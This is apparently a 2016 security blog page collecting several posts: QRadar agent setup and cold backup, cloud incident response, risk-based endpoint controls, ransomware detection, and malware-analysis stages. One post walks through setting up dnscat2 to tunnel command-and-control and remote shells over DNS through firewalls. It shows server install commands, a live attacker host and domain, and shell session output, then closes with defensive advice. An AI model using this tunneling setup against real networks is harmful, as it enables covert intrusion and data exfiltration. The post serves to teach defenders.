Monday, September 5, 2016

IBM QRADAR WINCOLLECT AGENT INSTALLATION AND CONFIGURATION

WinCollect Agent Installation, Configuration and Troubleshooting


NOTE: Always install wincollect agent with Admin privileges
Always stop service then start
Always stop service before uninstalling wincollect agent
Always delete previous wincollect agent folder in hard drive in case of re-installation

WinCollect Installation Steps:
1. Always install wincollect agent with Admin privileges

2. Click Next

3. Accept the agreement and Click Next

4. Let the user name and organization as it is and Click Next

5. Select the Installation path if you have space in C: drive then leave it as  it is other wise change it
Note: Wincollect can cache 600MB (as per setting) logs in default path

6. Put Host Identifier as IP or Hostname then Authentication token then SIEM Server or log collector ip in "Configuration Console (host and port):" and leave the "Syslog Status Server ..." section blank and click Next.
Note:Authentication Token can be taken from SIEM server Web Console "Admin" tab then "User Management" Section and "Authorized services"

7. Click "Enable Automatic Log Source Creation" and put log source name which will appear in SIEM and log source identifier as IP or Hostname which was selected in previous section Host Identifier.

8. Click Next without any changes

9. Click Install

10. Click Finish

WinCollect DSM Configuration Steps

To collect Multiple logs from one server like OS logs and any .txt or .log file of any application on that server. Follow below steps for DSM Configuration
1. Add a DSM to Collect OS Logs and select "security", "system", and "application" or as per requirement.
2. Add a DSM to Collect .txt or .log file logs from same server

Qradar Creating a Cold Backup

The QRadar solution offers two types of license by default: High Availability and Disaster Recovery. These licenses can be very useful in medium-large environments making the system more reliable. Both of licenses need to be purchased separately from the base QRadar license, and we know that most of the cases the clients want a solution to reach the compliance levels but with no extra cost. So one possible solution is creating a Cold Backup. You will not find it on the regular IBM documentation, so make sure that you follow carefully the steps of this post, the procedure is easy for people who already have QRadar experience.
Just a quick stop to explain what is a cold backup: Basically is a “clone” from the primary server, and it has the same configuration than the main server but stay always powered off. In case of some failure in the main server the staff should manually power the cold backup on. After restoring the primary server (and before turning it on), the cold backup should be powered off manually. This solution in most of the cases don’t need an extra license, you can use the same than the primary server but should NEVER have the both servers online at same time. Please consult your IBM sales representative before considering the cold backup, the laws can change between countries.
So, here is the high level steps. If you have any question on the steps, please leave a comment. Make sure that you understand all the process before doing it.
  1. Verify and take note of all the network configuration of the Primary server. You should have: IP, DNS, Gateway, hostname, email server, etc;
  2. Create an configuration backup of your primary QRadar;
  3. Turn off the primary QRadar server;
  4. Install (or re-install) the QRadar in the cold backup server using the network information gathered on the step 1;
  5. Apply on the cold backup the same license file than the primary server;
  6. After the finish of the installation, access the web interface of the cold backup, and import the backup generated on the step 2;
  7. Verify the logs collection and all the imported configuration;
  8. Turn off the cold backup server;
  9. Turn on the primary server;
  10. Finish;
Some considerations about this cold backup solution:
  • The primary and cold backup should NEVER be on at same time. Make sure that you power off one server before turning on the other;
  • All the transition process is manual, so when you have a failure in the primary you should manually turn the primary off and turn the cold backup on;
  • The cold backup server may be not supported by the IBM official support. You should always consider buying a High-Availability or Disaster-Recovery license;
  • The log data from the Primary will not be on the cold backup, and the log data in the cold backup will not be in the primary. To synchronize the data between the two servers you can use a external storage or manually import the data;
  • Please make sure that you understand the whole process before doing it, we are not responsible for any misconfiguration issue;
  • The both servers need to be in the same subnet;
  • Remember that every configuration done in the Primary server should be replicated to the cold backup. To do it, just export the configuration from the primary (step 2) and import on the cold backup (step 6);
  • Once a month run the updates on the ColdBackup to keep it updated;
  • And again: Ensure that the both servers are never online at same time;

Sunday, September 4, 2016

Best practices for incident response in the age of cloud

Having an incident response platform can help internal and external teams collaborate, track incident response processes and automate key security tasks

Most CISOs receive a rude awakening when they encounter their first major security issue in the cloud. If they identify a critical vulnerability that requires a patch, they may not have the authorization to tweak the cloud provider's pre-packaged stack. And if the customer does not own the network, there may not be a way to access details that are critical to investigating an incident.
In order to avoid a major security issue in the cloud, CISO’s must  have an incident response plan.  Here is how to build one:
1.  Establish a joint response plan with the cloud provider. If you have not yet moved to the cloud, the most practical first step is to establish a joint response process. Responsibilities and roles should be clearly defined, and contact information for primary and secondary contacts should be exchanged. Obtain a detailed explanation of what triggers the provider's incident response and how the provider will manage different issues.
2.  Evaluate the monitoring controls and security measures that are in place in the cloud.For an effective response on security issues related to cloud infrastructure, it is important to understand what kind of monitoring and security measures are in place by the cloud provider and what access you have to those tools. If you find they are insufficient, look for ways you can deploy a supplemental fix.
3.  Build a recovery plan. Decide whether recovery will be necessary in the event of a provider outage. Create a recovery plan that defines whether to use an alternate provider or internal assets as well as a procedure to collect and move data.
4. Evaluate forensic tools for cloud infrastructure. Find out what tools are available from the cloud provider or from other sources for conducting forensics in case of an incident. If the incident involves PII information, it might turn into a legal and compliance challenge, so having appropriate tools which can help with forensics and evidence tracking is essential.

                        Handling an incident in the cloud

Many incident response steps are similar whether you are dealing with the cloud or a local installation. However, there are some additional steps you may need to take in the case of a cloud incident:
·        Contact your provider's incident response team immediately, and be aggressive in your communications. If the provider's team cannot be reached, do everything you can on your end to contain the incident, like controlling connections to cloud service and revoking user access to the cloud service in questions.
·        If the incident cannot be controlled or contained, prepare to move to an alternate service or set up an internal server.
·        The cloud allows you to delay identification and eradication until the crisis has passed. In most cases, you can proceed immediately to restore production services by instantiating a new instance.

Best practices for incident response in the cloud

One critical issue that many enterprises face is the lack of talent possessing the proper skills to manage security. It is difficult to find the right candidates, and if you locate them, you can expect to have ato pay top salaries. By the end of 2024, the Bureau of Labor Statistics expects information security analyst jobs to grow 18%, and salaries are already averaging well into six figures.
However, there are some steps that you can take to bring new employees up to speed quickly or enhance the skills of existing employees:

·        Promote collaboration to help junior analysts benefit from the experience of senior analysts. As a bonus, collaborative efforts may reveal duplicate efforts that can be eliminated.
·        Create playbooks that prescribe standard procedures for responding to incidents. Naturally, you cannot create a guide for every potential situation, but playbooks can be valuable guides and excellent training materials. Just remember to keep playbooks updated, which is a task that can often be automated.
·        Speaking of automation, many tasks can be automated, especially if they are repetitive and routine. Mundane tasks take up an unjustifiable amount of time. Automation can free your staff members for more important tasks.
·        Foster situational awareness from both the historical and real-time points of view. An effective analysis of past incidents can help you make better decisions about current incidents.
·        Analyze incidents and create a database to help determine the types of problems encountered, the skills needed to address the issue, the frequency of each type of incident, and other facts. Analysis can help you identify vulnerabilities and determine where to bolster security.

Like most security best practices related to cloud applications, incident response is also a shared responsibility. Planning ahead for incident response is critical to make sure you have the right contacts, tools and processes in place. Having an incident response platform that can enable collaboration for internal and external teams, track incident response processes and automate key security tasks, is essential in the time of crisis to contain issues quickly and respond effectively.



Information Security Measures Commensurate With Risky Behavior

The tighter you lock down the system, the more burdensome it will be to use and maintain. After all, every security measure adds overhead and increases the likelihood that a false positive will hinder a legitimate transaction. One way to strike a balance between security and usability might be to apply safeguards selectively, deploying them in proportion to the risk that the person’s behavior poses to the organization.  Individuals that have exhibited a tendency to be more reckless in computer interactions will be encumbered with additional defenses.

Adjusting Safeguards Based on User Behavior

Endpoints in a modern enterprise seem to be running more security software than actual business applications. Especially as these systems age, they struggle to handle the load imposed by antivirus tools, secondary anti-malware products, security update mechanisms, exploit mitigation technologies, log collectors, data loss prevention checks, encryption layers, browser security plugins, file integrity monitors and incident response agents. Is it truly necessary to deploy all these measures and configure them with the same rigor across all endpoints?
Information security practices encourage employing stronger security controls for high risk assets, either because they are more vulnerable or because they are of higher value. For instance, a computer that the firm’s controller uses to dispatch payroll authorizations should probably be protected more rigorously than a system that neither stores, nor processes sensitive data.
Along these lines, we could selectively apply safeguards based on people’s demonstrated or anticipated propensity to engage in risky behavior when using the company’s systems or handling its data. For example, some individuals are more likely to open attachments in random emails than others. Email scanning options of such risky users could be configured in a more restrictive manner. These people would also get additional malware scans and lose the ability to allow macros to run when opening Microsoft Office documents. In contrast, people believed to possess better judgement regarding computer interactions would be granted more latitude.
Adjusting safeguards based on the anticipated riskiness of user behavior could supplement today’s risk management practices that justify additional security controls based on data asset classification and compliance obligations.

Determining the Behavior Risk Ranking

How could we tell which computer users are more likely to engage in risky computer behavior than others? Organizations could assign a relative risk coefficient by spotting potentially high-risk users using approaches as as these:
  • People whose systems were infected with malware more than twice in the past year
  • People who attempted to visit more than 2 websites in a month that were blocked by the corporate proxy
  • People who failed to complete the organization’s security awareness training in a timely manner
  • People who clicked on a simulated phishing link during the company’s security assessment
The thresholds above are just examples and would need to be adjusted according to the organization’s expectations of baseline user behavior.
Individuals categorized as being high risk would have the opportunity to cast off their unfavorable status in several ways, which could include the following:
  • Avoiding high-risk triggers for a certain time period
  • Completing additional security awareness training
  • Complaining to the big boss (sad, but true)
In an inverse scenario, individuals who’ve demonstrated superior behavior with respect to information security within some time frame could be allowed to operate with fewer restrictions than the firm’s default configuration. For instance, these people might be allowed to access a broader set of websites, could override some antivirus settings and would have more control over their use of removable media.

Nothing New Under the Sun

Assigning risk to people on the basis of their behavior is not new. For instance, this approach is prevalent among insurance companies, who charge premiums of individuals with the history of car accidents for auto coverage. I suspect elements of this method are also employed by some enterprises in the context of information security. Perhaps you know of such infosec examples, or maybe you have good arguments against the benefits or practicality of this approach? If so, I’d love to hear from you.

Tunneling Data and Commands Over DNS to Bypass Firewalls

No matter how tightly you restrict outbound access from your network, you probably allow DNS queries to at least one server. Adversaries can abuse this “hole” in your firewall to exfiltrate data and establish stealthy Command and Control (C2) channels that are very difficult to block. To understand the use of DNS for C2 tunneling, let’s take a look at Ron Bowes’s tool dnscat2, which makes it relatively easy to experiment with such attack techniques.
The tunneling approach implemented by dnscat2 involves an attacker-controlled system running dnscat2 server software. This Internet-accessible host listens for specially-formulated DNS queries the dnscat2 client component issues from the victim’s environment to transmit data or obtain instructions.

Installing dnscat2 Server

To experiment with dnscat2, you will need an Internet-accessible Linux-style system where you can install dnscat2’s server component. You can use a public cloud provider such as DigitalOcean (the link includes my referral code). I like this provider in part because it offers a low-end virtual private server instance for as little as $5 per month, which is perfect for experimenting with dnscat2. You candeploy a “droplet” running Ubuntu there in a few clicks:
Digital Ocean Droplet Ubuntu
Once the new host is active, log in to it and run the following commands as root to install dnscat2 server software, assuming you are using Ubuntu:
# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
At this point, dnscat2 server software should be installed, but not yet active.

C2 Tunneling If All Outbound DNS is Allowed

Let’s start getting to know dnscat2 by preparing for a scenario where the targeted environment allows all outbound DNS traffic to any DNS server. In this case, you can activate dnscat2 server without any configuration by running the following command on your Internet-accessible server as  a root user:
# ruby ./dnscat2.rb
You should run this command from the directory where dnscat2 was installed, which was “dnscat2/server” in the example above. Once active, the dnscat2 server component will listen on UDP port 53, presenting an interactive shell to remotely control systems that run dnscat2 client software.
Next, go to the system in your environment that represents the victim host and run dnscat2 client software there without any parameters. If performing this task on Windows, you can download the pre-built dnscat2 client executable from the author’s website. Your should launch the client by specifying the IP or hostname of your server system in the “–host” parameter. In my experiment, my dnscat2 server was running on 104.131.93.152, so I activated the dnscat2 client like this:
dnscat2-client
When this occurred, my dnscat2 server immediately notified me that a client system established a connection and presented a shell for remotely controlling that computer. (I eliminated some in the excerpt below for brevity.)
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059
dnscat2>
I was then able to interact with the infected system, for instance directing it to launch Notepad:
dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec notepad.exe
Sent request to execute
dnscat [command: 16059]>
In addition to allowing users to execute arbitrary commands on the infected system, dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the victim’s host.
An analyst monitoring the victim’s network would merely see DNS queries and responses being sent between the system running the dnscat2 client and adversary’s server. Such traffic will blend into the “noise” present on most networks. For instance, when establishing the initial C2 connection, dnscat2 client attempted to resolve a TXT record, sending the query to my DNS server, as shown by Wireshark:
dnscat2-initial-connection
To protect against this scenario, your environment could restrict outbound traffic, allowing DNS interactions only with a handful of trusted servers. In my example, this approach would block outbound DNS traffic to my C2 server 104.131.93.152. Unfortunately, DNS-tunneled C2 traffic could still slip through such controls, as shown in the following example.

C2 Tunneling If Only Trusted DNS Servers Are Allowed

For a more robust C2 configuration, the adversary could register a domain name and designate the system running dnscat2 server software as the authoritative DNS server for that domain. This way, dnscat2 client will no longer need to connect directly to the C2 server. Instead, the client would issue a query for the malicious domain to the victim’s trusted DNS server, which would forward the message to the C2 server and return the adversary’s answer to the client. In this scenario, the protected environment can only access the trusted DNS server, but that DNS server can contact external DNS servers to resolve queries that it cannot answer directly.
I configured my experimental domain combatingmalware.com to use 104.131.93.152 as its authoritative name server. Then I launched dnscat2 server software by specifying which domain name it should use for C2 tunneling:
# ruby ./dnscat2.rb combatingmalware.com
Handling requests for the following domain(s):
combatingmalware.com
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = combatingmalware.com]...
Will also accept direct queries (using --host and --port on the client)
dnscat2>
Next, I ran the dnscat2 client by specifying the domain name “combatingmalware.com” like this:
dnscat2-client2
This time the dnscat2 client was not sending DNS queries directly to my C2 server. Instead, the victim’s system was communicating with its standard, trusted DNS server, attempting to resolve hostnames within the “combatingmalware.com” domain, as you can see in this Wireshark capture:
dnscat2-initial-connection2
As expected, my C2 server exchanged no packets with the victim’s host directly. My lab was using OpenDNS’ servers, so the conversations went with OpenDNS servers. Here is how tcpdump running on my server saw some of this traffic:
208.67.217.11.1679 > 104.131.93.152.53: 59036 [1au] TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com.
104.131.93.152.53 > 208.67.217.11.1679: 59036*- q: TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com. 1/0/0 [1d] TXT "6c29006955d5b70000"
208.67.217.21.2584 > 104.131.93.152.53: 41672 [1au] TXT? 3f29016955018bd5b7.combatingmalware.com.
104.131.93.152.53 > 208.67.217.21.2584: 41672*- q: TXT? 3f29016955018bd5b7.combatingmalware.com. 1/0/0 [1d] TXT "11b8016955d5b7018b"
This means that even if you’ve configured your environment to use only trusted internal or external servers for DNS resolution and blocked all other outbound DNS traffic, the adversary could still tunnel C2 traffic by sending it through your normal DNS infrastructure.
What if you focused your defensive efforts on blocking the dnscat2 client from being able to run on your Windows systems, the way you might block standard malware? Good idea, but you better make sure you lock down PowerShell too, as shown in the next scenario.

DNS Tunneling Using a PowerShell Client

Rather than installing the full-fledged dnscat2 client, the adversary could standard Windows PowerShell to communicate with the dnscat2 server from the compromised system. Luke Baggett’s dnscat2.ps1 script demonstrates this capability by implementing a meaningful subset of dnscat2 C2 commands.
To experiment with dnscat2.ps1, I imported the script into PowerShell on the victim system in my lab and directed its dnscat2 cmdlet to open a reverse shell to my C2 server though “combatingmalware.com” like this:
dnscat2-powershell-client
As in the previous example, the traffic was tunneled through DNS. I was able to execute arbitrary commands on the infected host by indirectly interacting with its Command Prompt:
dnscat2> New session established: 9024
dnscat2> session -i 9024
Welcome to session 9024!
If it's a shell session and you're not seeing output, try typing "pwd" or something!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\REM\Desktop>

How to Defend Against C2 Tunneling Over DNS?

The very nature of DNS allows enterprise system to communicate with arbitrary hosts on the Internet to resolve DNS queries. This capability allows tools such as dnscat2 conceal data and commands within DNS traffic, bypassing traditional network security controls. I am struggling to come up with a solution to plug this firewall “hole,” but I have a few risk mitigation recommendations:
  • Limit the number of DNS servers that systems on your network are allowed to reach to not only complicate the adversary’s tunneling setup, but also to limit the types of DNS interactions you need to oversee.
  • If possible, direct DNS activities through a set of DNS servers that you control, so you can keep an eye on them and tweak there configuration when necessary.
  • Monitor DNS activities for anomalies, looking at DNS server or network logs. The use of DNS for C2 tends to exhibit timing and payload deviations that might allow you to spot misuse. (See apaper by Greg Farnham, advice from Lance James and suggestions from Martin Lee for the specifics.)
The idea of tunneling data and commands through DNS is not new. However, tools such as dnscat2 make such techniques easy to implement for both malicious purposes, penetration testing and your own experimentation. For one real-world example of stealthily exfiltrating data using DNS queries, take a look at BernhardPOS and MULTIGRAIN commercial malware and at the tactics of APT actor ProjectSauron/Strider.

How Would You Detect and Impede Ransomware on an Endpoint?

Malware that encrypts and holds files at ransom can have devastating effects on personal documents, customer data and business operations. If you were designing software that could detect and impede such ransomware, what techniques would you use to safeguard the endpoint? Accomplishing this could involve observing the behavior of the programs running on the system to spot ransomware-like activity or employing deception to encourage ransomware to reveal itself.

Detecting the Presence of Ransomware

Consider how the behavior of file-encrypting ransomware might be different from the operation of normal programs. Ransomware probably reads and writes more files than typical processes on the system. In addition, the encrypted files it creates have patterns that are different from the majority of non-encrypted files. That means that our anti-ransomware tool could:
  • Flag processes that read or write too many files too quickly. Out tool would define a threshold of normal file access activities, and react when it is exceeded. A variation of this approach is implemented by Malwarebytes Anti-Ransomware, which is based on Nathan Scott’s CryptoMonitor tool. It counts how often untrusted processed have modified “a certain number of personal files, under a certain time.” A similar method implemented by Adam Kramer’shande_monitor tool on the frequency with which processes create handles through which they can access files.
  • Flag processes that change files’ entropy values. Encrypted files tend to have a more uniform distribution of byte values than other files. Their contents are more uniform. Our tool could compare the file’s entropy before and after the change. If a modified file has higher entropy, it might have gotten encrypted, indicating that the responsible process might be ransomware. However, the entropy of encrypted files is similar to that of compressed files; to keep down the rate of false positives, Patrick Wardle’s RansomWhere? tool also accounts for “Chi Square distribution and Monte Carlo pi approximations” to determine when encrypted files are created.
In addition to observing the behavior of the processes, our tool could set generate files that act as traps, in the hopes that ransomware gets caught in them. For example, the tool could create a set of decoy files that a normal user isn’t expected access. Any attempt to read or modify these files would be suspicious. CryptoMonitor implemented some variation of this technique.
A similar approach is also employed by the Yago Jesus’ Anti Ransom utility, which creates a set of document files in a decoy folder and monitors it for changes. Along these lines, the folks behind the Free Forensics blog published sample PowerShell scripts that watch for changes to such file “canaries.”

Reacting to Suspected Ransomware

When our tool spots the likely presence of ransomware, it could alert the user and then, if configured to do so, kill the offending process. Terminating the process could be risky, though, if ransomware operates by injecting its code into legitimate processes. This highlights the importance of coupling anti-ransomware functionality with techniques that look for other malicious behavior, such as code injection, to spot malware even before it exhibits ransomware characteristics.
If terminating the suspicious process (or thread) is impractical or undesirable, out tool could interfere with the potentially-malicious code by slowing down its interactions with the file system. This would give the endpoint’s user time to decide whether to terminate suspected ransomware, turn off the system or respond in some other way.
Another way of impeding ransomware was proposed on the Free Forensics blog. This method involves setting up infinitely-recursive directories by taking advantage of certain features of the Windows file system. Ransomware that attempts to traverse the file system to locate the files it needs to encrypt will get stuck in such a sinkhole, giving the victim the opportunity to react to the infection.

Anti-Ransomware in the Real World

Any methods for detecting and impeding ransomware cannot be foolproof, as is the case with any anti-malware technology. For instance, ransomware authors could adjust their code to stay under the threshold anomalous file access. Many aspects of information security have such action-reaction dynamics, which might be the reasons why the majority of anti-malware vendors rarely reveal details about their inner-workings.
While the techniques outlined above might sounds reasonable and achievable in the context of a single endpoint, creating a product that can be deployed on many personal or enterprise systems drastically increases the endeavor’s complexity. For example, the tool would need to have a practical way of dealing with false alarms where legitimate processes exhibit ransomware-like behavior or compressed files resemble encrypted ones.
My expectation is that commercial anti-malware vendors are creating or have already developed more sophisticated methods for dealing with ransomware, and have techniques that are more elaborate than what I described in this article. Those who remember the early days of spyware might recall standalone anti-spyware tools that were later merged into mainstream antivirus products. Similarly, anti-ransomware capabilities are becoming an essential feature of modern Internet security suites and anti-malware products.

Mastering 4 Stages of Malware Analysis

image
Examining malicious software involves a variety of tasks, some simpler than others. These efforts can be grouped into stages based on the nature of the associated malware analysis techniques. Layered on top of each other, these stages form a pyramid that grows upwards in complexity. The closer you get to the top, the more burdensome the effort and the less common the skill set.

Fully-Automated Analysis

The easiest way to assess the nature of a suspicious file is to scan it using fully-automated tools, some of which are available as commercial products and some as free ones. These utilities are designed to quickly assess what the specimen might do if it ran on a system. They typically produce reports with details such as the registry keys used by the malicious program, its mutex values, file activity, network traffic, etc.
Fully-automated tools usually don’t provide as much insight as a human analyst would obtain when examining the specimen in a more manual fashion. However, they contribute to the incident response process by rapidly handling vast amounts of malware, allowing the analyst (whose time is relatively expensive) to focus on the cases that truly require a human’s attention.
For a listing of free services and tools that can perform automated analysis, see my lists of Toolkits for Automating Malware Analysis and Automated Malware Analysis Services.

Static Properties Analysis

An analyst interested in taking a closer look at the suspicious file might proceed by examining its static properties. Such details can be obtained relatively quickly, because they don’t involve running the potentially malicious program. Static properties include the strings embedded into the file, header details, hashes, embedded resources, packer signatures, metadata such as the creation date, etc.
Looking at static properties can sometimes be sufficient for defining basic indicators of compromise. This process also helps determine whether the analyst should take closer look at the specimen using more comprehensive techniques and where to focus the subsequent steps. Analyzing static properties is useful as part of the incident triage effort.
VirusTotal is an example of an excellent online tool whose output includes the file’s static properties. For a look at some free utilities you can run locally in your lab, see my posts Analyzing Static Properties of Suspicious Files on Windows and Examining XOR Obfuscation for Malware Analysis.

Interactive Behavior Analysis

After using automated tools and examining static properties of the file, as well as taking into account the overall context of the investigation, the analyst might decide to take a closer look at the specimen. This often entails infecting an isolated laboratory system with the malicious program to observe its behavior.
Behavioral analysis involves examining how sample runs in the lab to understand its registry, file system, process and network activities. Understanding how the program uses memory (e.g., performing memory forensics) can bring additional insights. This malware analysis stage is especially fruitful when the researcher interacts with the malicious program, rather than passively observing the specimen.
The analyst might observe that the specimen attempts to connect to a particular host, which is not accessible in the isolated lab. The researcher could mimic the system in the lab and repeat the experiment to see what the malicious program would do after it is able to connect. for example, if the specimen uses the host as a command and control (C2) server, the analyst may be able to learn about specimen by simulating the attacker’s C2 activities. This approach to molding the lab to evoke additional behavioral characteristics applies to files, registry keys and other dependencies that the specimen might have.
Being able to exercise this level of control over the specimen in a properly orchestrated lab is what differentiates this stage from fully-automated analysis tasks. Interacting with malware in creative ways is more time-consuming and complicated than running fully-automated tools. It generally requires more skills than performing the earlier tasks in the pyramid.

Manual Code Reversing

Reverse-engineering the code that comprises the specimen can add valuable insights to the findings available after completing interactive behavior analysis. Some characteristics of the specimen are simply impractical to exercise and examine without examining the code. Insights that only manual code reversing can provide include:
  • Decoding encrypted data stored or transferred by the sample;
  • Determining the logic of the malicious program’s domain generation algorithm;
  • Understanding other capabilities of the sample that didn’t exhibit themselves during behavior analysis.
Manual code reversing involves the use of a disassembler and a debugger, which could be aided by a decompiler and a variety of plugins and specialized tools that automate some aspects of these efforts. Memory forensics can assist at this stage of the pyramid as well.
Reversing code can take a lot of time and requires a skill set that is relatively rare. For this reason, many malware investigations don’t dig into the code. However, knowing how to perform at least some code reversing steps greatly increases the analyst’s view into the nature of the malicious program in a comp
To get a sense for basic aspects of code-level reverse engineering in the context of other malware analysis stages, tune into my recorded webcast Introduction to Malware Analysis. For a closer look at manual code reversing, read Dennis Yurichev’s e-book Reverse Engineering for Beginners.

Combining Malware Analysis Stages

The process of examining malicious software involves several stages, which could be listed in the order of increasing complexity and represented as a pyramid. However, viewing these stages as discrete and sequential steps over-simplifies the steps malware analysis process. In most cases, different types of analysis tasks are intertwined, with the insights gathered in one stage informing efforts conducted in another. Perhaps the stages could be represented by a “wash, rinse, repeat” cycle, that could only be interrupted when the analyst runs out of time.